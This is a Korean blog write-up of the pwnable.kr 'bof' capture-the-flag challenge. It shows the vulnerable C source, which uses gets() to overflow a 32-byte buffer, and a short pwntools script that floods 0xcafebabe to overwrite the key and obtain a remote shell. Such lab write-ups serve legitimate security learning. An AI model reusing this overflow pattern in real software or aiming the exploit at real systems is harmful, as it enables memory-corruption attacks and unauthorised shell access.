Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Pwnable.kr] 문제풀이(bof) 본문

Hack/Pwnable

[Pwnable.kr] 문제풀이(bof)

CIDY 2022. 8. 11. 06:00
// 32-bit, partial relro, canary, nx, pie
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 

키값을 맞추면 쉘을 내주는 간단한 구조다. gets로 입력을 받으므로 오버플로우도 충분히 일으킬 수 있다.

 

그리고 카나리가 걸려있지만 그 전에 쉘이 실행되면 그만이므로 그것도 걱정할 것 없다.

 

스택은 

 

지역변수

반환주소

매개변수

 

이렇게 쌓인다.

 

지역변수부터 시작해서, 내 목적은 매개변수로 전달된 키값을 덮는 것이고, 사실 아래와 같이 코드를 잘 뜯어보면 거리를 정확히 계산해 넣을 수 있겠지만.... 

 

굳이 그럴 필요는 없다.

from pwn import *

p = remote("pwnable.kr", 9000)
#p = process("./bof")

pay = p32(0xcafebabe) * 50

p.send(pay)
p.interactive()

 

그냥 적당히 많이 보내주면 알아서 된다.

 

flag

 

'Hack > Pwnable' 카테고리의 다른 글

[Pwnable.tw] 문제풀이(CAOV)  (0) 2022.10.13
[Pwnable.kr] 문제풀이(unexploitable)  (0) 2022.08.15
[Pwnable.kr] 문제풀이(collision)  (0) 2022.08.12
[Pwnable.kr] 문제풀이(fd)  (0) 2022.08.11
문자열 입출력함수 정리(중)  (0) 2022.08.08